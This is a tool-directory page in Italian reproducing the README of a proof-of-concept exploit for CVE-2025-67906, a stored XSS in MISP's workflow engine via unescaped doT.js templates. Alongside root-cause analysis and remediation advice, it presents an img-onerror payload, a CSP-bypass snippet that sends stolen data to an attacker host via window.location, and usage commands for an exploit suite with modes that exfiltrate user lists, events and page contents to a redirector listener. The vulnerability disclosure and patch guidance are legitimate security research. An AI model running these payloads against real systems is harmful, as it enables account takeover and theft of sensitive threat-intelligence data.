Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-67906 — MISP <= 2.5.27 - Cross-Site Scripting Memorizzato tramite Workflow Engine (doT.js Template Injection). | Kitploit
Strumenti/GitHubGitHub/franckferman/cve-2025-67906
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniBypass WAFPenetration TestingRed Teaming
GitHubfranckferman/cve-2025-67906

CVE-2025-67906

MISP <= 2.5.27 - Cross-Site Scripting Memorizzato tramite Workflow Engine (doT.js Template Injection).

Vedi Repository
255 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Punteggio CVE GCVE CWE Licenza Python Nessuna dipendenza

CVE-2025-67906

MISP <= 2.5.27 - Cross-Site Scripting Memorizzata tramite motore Workflow (Iniezione di template doT.js)

Scoperto da Franck FERMAN

Panoramica - Cause profonde - Catena d'attacco - Struttura - Utilizzo - Rimedio - Riferimenti


Panoramica della Vulnerabilità

CVE-2025-67906 (GCVE-1-2025-0031) è una vulnerabilità di Cross-Site Scripting Memorizzata (XSS) in (Malware Information Sharing Platform) versioni fino alla inclusa.

MISP
2.5.27

La vulnerabilità risiede in app/View/Elements/Workflows/executionPath.ctp, il componente vista del percorso di esecuzione del Workflow. Il campo name dei trigger del workflow viene salvato nel database senza sanitizzazione lato server e successivamente renderizzato nel DOM tramite il motore di template doT.js senza escape HTML. Un attaccante autenticato può iniettare HTML/JavaScript arbitrario che viene eseguito nella sessione del browser di qualsiasi utente che visualizzi il workflow compromesso.

Poiché il payload è memorizzato nel database e renderizzato a ogni caricamento di pagina, l'XSS è persistente - sopravvive ai refresh della pagina, colpisce più utenti e persiste fino a quando il workflow non viene esplicitamente cancellato.

Scoperta: Questa vulnerabilità è stata identificata e divulgata responsabilmente da Franck FERMAN.


Punteggi CVSS

Esistono diverse valutazioni CVSS per questa vulnerabilità:

FontePunteggioGravitàVettore
NIST NVD9.0CriticoCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
GCVE (CIRCL)7.1AltoCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
CNA (MITRE)5.4MedioCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

La divergenza dei punteggi riflette diverse valutazioni della profondità dell'impatto. Il punteggio NIST NVD (9.0) considera un impatto completo su Riservatezza, Integrità e Disponibilità poiché il payload XSS viene eseguito con i privilegi della sessione della vittima, consentendo l'esfiltrazione di dati a livello amministrativo e la manipolazione del workflow. Il punteggio CNA (5.4) considera solo un impatto limitato su C/I per un XSS generico. Il punteggio GCVE CVSS 4.0 (7.1) introduce modificatori di Requisiti dell'attacco (Privilegio) e Interazione attiva dell'utente.

L'ambito è Cambiato in tutte le valutazioni perché il payload dell'attaccante (iniettato tramite l'API di MISP) viene eseguito in un contesto di sicurezza diverso (la sessione del browser della vittima).


Analisi delle Cause Profonde

Il Vettore di Iniezione

Il motore Workflow di MISP consente agli utenti autenticati di creare e modificare workflow tramite l'API REST. Il modello dati del workflow include un componente trigger con un campo name. Questo campo:

  1. Viene accettato dall'API senza validazione dell'input né codifica delle entità HTML
  2. Viene salvato nel database come testo grezzo (nessuna sanitizzazione lato server)
  3. Viene renderizzato nel browser tramite il motore di template JavaScript doT.js

Perché doT.js è Vulnerabile Qui

doT.js è un motore di template JavaScript veloce. Utilizza {{= }} per l'interpolazione, che non esegue l'escape HTML di default. L'editor Workflow di MISP usa doT.js per renderizzare i metadati del trigger (incluso il campo name) nel DOM. Quando il campo name contiene HTML come ``, il motore di template lo inserisce come HTML grezzo e il browser esegue il JavaScript incorporato.

La correzione richiede:

  • Utilizzare la sintassi di output codificato di doT.js {{! }} che fa l'escape HTML del valore
  • Sanitizzazione lato server prima dell'inserimento nel database
  • Entrambe (difesa in profondità)

Punto di Iniezione

root@kitploit:~
POST /workflows/edit/{id}

{
  "Workflow": {
    "id": "1",
    "data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
  }
}

Il valore name all'interno del campo JSON data è il punto di iniezione. L'intero grafo del workflow è serializzato come stringa JSON nel corpo della richiesta.

Il Contesto di Rendering: Motore Grafico Lato Client

La vulnerabilità è amplificata dalla scelta architetturale di utilizzare un motore di template lato client (doT.js) per renderizzare l'editor visivo del workflow. L'editor Workflow è un'interfaccia grafica drag-and-drop in cui ogni trigger/azione viene visualizzato come blocco visivo. Il campo name del trigger viene renderizzato come etichetta all'interno di questi blocchi grafici.

doT.js costruisce i componenti visivi generando stringhe HTML dai template e inserendole nel DOM. La sintassi di interpolazione {{= }} produce output senza escape - qualsiasi dato interpolato nel template viene trattato come markup, non come testo. Se lo stesso campo name fosse renderizzato tramite element.textContent (che tratta l'input come testo semplice) o tramite la sintassi di output codificato {{! }} di doT.js, non sarebbe possibile alcun XSS indipendentemente dal contenuto dell'input.

La superficie d'attacco esiste proprio perché:

  1. Un editor grafico richiede un rendering HTML ricco (blocchi stilizzati, icone, layout)
  2. Il motore di template scelto (doT.js) di default produce output senza escape ({{= }}) per motivi di performance
  3. I metadati forniti dall'utente (nomi dei trigger) confluiscono in questi template senza sanitizzazione
  4. Il risultato è che qualsiasi stringa memorizzata nel campo name viene interpretata come HTML dal browser

Questo è un pattern di vulnerabilità comune nelle applicazioni web che utilizzano motori di template lato client per costruire interfacce visive interattive: la necessità di un rendering ricco crea un rapporto di fiducia implicito tra il template e le sue fonti di dati, e qualsiasi input utente non sanitizzato che raggiunga il template diventa codice eseguibile.

Perché `` e Non <script>

Un tag <script> grezzo iniettato tramite interpolazione di template tipicamente non viene eseguito in questo contesto. I browser non eseguono elementi <script> inseriti nel DOM dopo il parsing iniziale della pagina (tramite innerHTML o equivalente). Gli attributi di gestione eventi come onerror, onload o onmouseover su elementi HTML bypassano questa restrizione perché attivano JavaScript inline quando il browser elabora gli attributi dell'elemento, indipendentemente da come l'elemento è stato inserito.

Il vettore <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> è preferito perché:

  • src="x" garantisce un fallimento immediato del caricamento, attivando onerror senza interazione dell'utente
  • Funziona su tutti i browser e non richiede che l'elemento sia visibile
  • Bypassa le restrizioni CSP script-src che bloccano i tag <script> inline, perché l'esecuzione avviene tramite un gestore eventi su un elemento non script

Bypass CSP Tramite Navigazione (Esfiltrazione)

Le istanze di MISP tipicamente implementano intestazioni Content Security Policy che limitano connect-src, impedendo chiamate fetch() e XMLHttpRequest verso origini esterne. I payload di esfiltrazione in questo PoC bypassano CSP utilizzando window.location (navigazione) invece di chiamate API:

root@kitploit:~
// BLOCCATO da CSP connect-src:
fetch('http://attaccante/esfil?dati=' + dati_rubati);  // violazione CSP

// NON bloccato - la navigazione non è governata da CSP:
window.location = 'http://attaccante/esfil?dati=' + dati_rubati;  // funziona

CSP non ha alcuna direttiva che controlli dove una pagina può navigare. La direttiva navigate-to è stata proposta in CSP Level 3 ma non è mai stata implementata da alcun browser ed è stata effettivamente abbandonata. Questo rende window.location un bypass CSP affidabile per l'esfiltrazione di dati da qualsiasi contesto XSS, indipendentemente dalla politica CSP in atto.

Il compromesso è che la navigazione è visibile alla vittima (la pagina cambia). Il server/redirector.py mitiga questo problema emettendo immediatamente un reindirizzamento HTTP 302 verso l'istanza MISP, creando solo un breve flash visibile. Dal punto di vista della vittima, la pagina sembra ricaricarsi.

Flusso dei dati di esfiltrazione:

root@kitploit:~
Browser vittima                 Attaccante (redirector.py)           MISP
      |                                 |                           |
      |-- GET /esfil?dati=<rubati> ---->|                           |
      |                                 | [cattura i dati, stampa]  |
      |<-- 302 Location: url.misp ------|                           |
      |                                 |                           |
      |-- GET /workflows/view/1 ---------------------------------------->|
      |<-- Pagina MISP normale -------------------------------------------|

L'intero round-trip richiede ~100-200ms. La vittima vede al massimo un flash di pagina.

Impatto Reale di XSS Memorizzato

Un equivoco comune nelle valutazioni di sicurezza è che le vulnerabilità XSS abbiano un impatto pratico limitato ("è solo un alert box"). In impegni reali di red team, un XSS Memorizzato - specialmente uno persistente senza click come questo - è un reperto di alto valore proprio perché l'attaccante non ha bisogno che la vittima clicchi nulla. Il payload si attiva automaticamente quando la pagina viene renderizzata.

Cosa abilita un XSS Memorizzato nella pratica:

  • Hijack di sessione: se i cookie non sono marcati HttpOnly, l'attaccante ruba il cookie di sessione dell'amministratore e prende il controllo dell'account. Anche con HttpOnly, i token di sessione esposti nel DOM o nelle risposte API possono essere estratti.
  • Esfiltrazione completa del contenuto della pagina: tutto ciò che la vittima vede, l'attaccante vede. Liste utenti, dettagli eventi, chiavi API visualizzate sulle pagine amministrative, dati organizzativi - tutto leggibile tramite document.body.innerHTML o query DOM mirate.
  • Raccolta di credenziali: inietta un modulo di login falso o un overlay di scadenza sessione. La vittima reinserisce la propria password nell'HTML controllato dall'attaccante.
  • Movimento laterale: da una sessione amministrativa compromessa, crea nuove chiavi API, modifica gruppi di condivisione, invia eventi malevoli a istanze MISP collegate.
  • Persistenza: il payload sopravvive ai ricaricamenti della pagina e colpisce ogni utente che visita il workflow. Persiste fino a cancellazione esplicita.

Quando protezioni come CSP limitano le richieste in uscita (connect-src, script-src), il vettore di esfiltrazione si adatta - come dimostrato in questo PoC con il bypass di navigazione window.location. CSP alza l'asticella ma non elimina il rischio. Quando HttpOnly impedisce il furto di cookie, l'attaccante si sposta sull'esfiltrazione DOM dei dati direttamente visibili nella sessione autenticata.

In un contesto di pentest/red team, un XSS Memorizzato su una piattaforma come MISP (che aggrega intelligence sulle minacce, IOC e dati organizzativi) è particolarmente critico perché i dati accessibili attraverso una sessione amministrativa sono essi stessi ad alta sensibilità: indicatori di compromissione, dettagli di indagini interne, appartenenze a gruppi di condivisione e relazioni di fiducia inter-organizzative.


Catena d'Attacco

root@kitploit:~
1. L'attaccante si autentica a MISP (qualsiasi ruolo con permesso di creazione workflow)
   |
2. POST /workflows/add -> crea un nuovo workflow, riceve workflow_id + trigger_id
   |
3. POST /workflows/edit/{id} -> inietta il payload HTML/JS nel campo "name" del trigger
   |   Payload: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
   |
4. Il payload persiste nel database di MISP
   |
5. La vittima (qualsiasi utente autenticato) visita /workflows/view/{id}
   |
6. doT.js renderizza il nome del trigger come HTML grezzo -> il browser esegue JavaScript
   |
7. Impatto dipende dalla modalità del payload:
      - alert()           Prova di esecuzione
      - Session hijack    Ruba il cookie di sessione
      - Data exfil        Estrae utenti, eventi, chiavi API dalle pagine admin
      - Theft credenziali  Inietta un modulo di login falso

Impatto per Modalità del Payload

ModalitàImpattoRichiede
alertConferma l'esecuzione XSSQualsiasi utente visualizza il workflow
alert_infoMostra email e URL della vittimaQualsiasi utente visualizza il workflow
console_infoRegistra email utente, ruolo, URL in DevToolsQualsiasi utente visualizza il workflow
exfiltrate_usersEstrae lista utenti (ID, Org, Ruolo, Email) da /admin/users/indexAdmin visualizza il workflow + listener attaccante
exfiltrate_pageCattura il contenuto della pagina corrente e l'identità dell'utenteQualsiasi utente visualizza il workflow + listener attaccante
exfiltrate_eventsEstrae lista eventi (ID, Org, Data, TLP, Info)Qualsiasi utente visualizza il workflow + listener attaccante

Versioni Affette

SoftwareAffettoCorretto
MISP<= 2.5.272.5.28

La correzione è inclusa in MISP v2.5.28. Commit della patch: 1f39deb.


Mappatura MITRE ATT&CK

IDTatticaTecnicaRilevanza
T1059.007EsecuzioneJavaScriptIl payload XSS esegue JavaScript nel browser della vittima
T1189Accesso InizialeCompromissione Drive-byIl payload memorizzato si attiva alla visita della pagina
T1557RaccoltaAvversario nel BrowserIl payload opera all'interno della sessione autenticata della vittima
T1539Accesso alle CredenzialiFurto del Cookie di Sessione WebCookie di sessione accessibili se HttpOnly non è impostato
T1005RaccoltaDati dal Sistema LocaleEsfiltrazione di liste utenti, eventi e contenuti di pagina

Struttura del Progetto

root@kitploit:~
poc_alert_cve_2025_67906.py                # PoC semplice - conferma alert() (~200 righe)
poc_exfiltrate_cve_2025_67906.py           # PoC semplice - demo esfiltrazione dati (~150 righe)
cve_2025_67906.py           # Suite exploit completa - 7 modalità, payload personalizzati
server/
  redirector.py             # Listener di esfiltrazione con reindirizzamento 302 trasparente
  • poc_alert_cve_2025_67906.py: Minimo, leggibile. Inietta alert() per confermare l'XSS. Leggi questo per primo.
  • poc_exfiltrate_cve_2025_67906.py: Demo di esfiltrazione minima. Cattura email/URL della vittima e li invia al server attaccante.
  • cve_2025_67906.py: Suite exploit completa con 7 modalità di payload, supporto payload personalizzato, modalità silenziosa.
  • server/redirector.py: Server HTTP che cattura i dati esfiltrati e reindirizza trasparentemente la vittima a MISP.

Installazione

Python 3 (solo libreria standard, zero dipendenze esterne).

root@kitploit:~
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906

Utilizzo

Verifica Rapida (poc_alert_cve_2025_67906.py)

Conferma l'esistenza della vulnerabilità con un alert() innocuo:

root@kitploit:~
python3 poc_alert_cve_2025_67906.py https://misp.target.org TUA_CHIAVE_API

Visita l'URL stampato dallo script. Un alert box conferma l'esecuzione XSS.

Demo Esfiltrazione Dati (poc_exfiltrate_cve_2025_67906.py)

root@kitploit:~
# Terminale 1: avvia il listener di esfiltrazione
python3 server/redirector.py https://misp.target.org --port 8000

# Terminale 2: inietta il payload
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org TUA_CHIAVE_API --attacker TUO_IP:8000

Quando una vittima visita l'URL del workflow, la sua email, nome utente e URL della pagina vengono catturati dal listener.

Suite Exploit Completa (cve_2025_67906.py)

root@kitploit:~
# Modalità alert (default)
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API

# Estrai lista utenti dalla pagina admin
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API \
    --mode exfiltrate_users --attacker TUO_IP:8000

# Estrai lista eventi
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API \
    --mode exfiltrate_events --attacker TUO_IP:8000 --limit 50

# Payload personalizzato
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API \
    --payload ''

# Modalità silenziosa (output minimo)
python3 cve_2025_67906.py https://misp.target.org CHIAVE_API --mode alert --quiet

Modalità Disponibili

ModalitàDescrizione
alertAlert box semplice (default, sicuro per demo)
alert_infoAlert box con URL vittima, email, user agent
consoleConferma Console.log
console_infoRegistra email utente, ruolo, URL nella console DevTools
exfiltrate_usersEstrae lista utenti da /admin/users/index (richiede vittima admin)
exfiltrate_pageCattura il contenuto della pagina corrente e l'identità dell'utente
exfiltrate_eventsEstrae lista eventi con ID, Org, Data, TLP, Info

Rimedio

Per Amministratori MISP

  1. Aggiornare MISP alla versione 2.5.28 o successiva (changelog)
  2. Limitare la creazione di workflow ai ruoli fidati tramite il sistema di permessi dei ruoli di MISP
  3. Monitorare i log di audit per creazione/modifica di workflow da parte di utenti inaspettati
  4. Revisionare i workflow esistenti per sospetti HTML nei nomi dei trigger

Per Sviluppatori MISP

  1. Cambiare l'interpolazione doT.js da {{= }} (grezzo) a {{! }} (con codifica HTML) per i campi forniti dall'utente
  2. Sanitizzazione lato server del campo name prima dell'inserimento nel database (rimuovere tag HTML, codificare entità)
  3. Intestazioni Content Security Policy per impedire l'esecuzione di script inline come difesa in profondità

Riferimenti

Registri CVE

  • NVD - CVE-2025-67906 (NIST, CVSS 9.0 Critico)
  • GCVE-1-2025-0031 (CIRCL Vulnerability-Lookup, CVSS 4.0: 7.1 Alto)

Patch e Avvisi

  • Changelog MISP v2.5.27...v2.5.28
  • Commit Patch 1f39deb

Riferimenti Tecnici

  • Progetto MISP
  • Repository GitHub MISP
  • MISP Galaxy
  • Motore Template doT.js
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • MITRE ATT&CK - T1059.007: JavaScript
  • OWASP XSS Prevention Cheat Sheet

Crediti

  • Franck FERMAN - Scoperta della vulnerabilità, sviluppo PoC
  • Sami Mokaddem (Graphman) - Accreditato nell'avviso GCVE

Disclaimer Legale

Questo strumento è fornito esclusivamente per audit di sicurezza autorizzati, ricerca accademica e scopi educativi. L'utilizzo contro sistemi senza esplicita autorizzazione scritta del proprietario del sistema è illegale. L'autore non si assume alcuna responsabilità per uso non autorizzato o malevolo.

Scarica lo strumento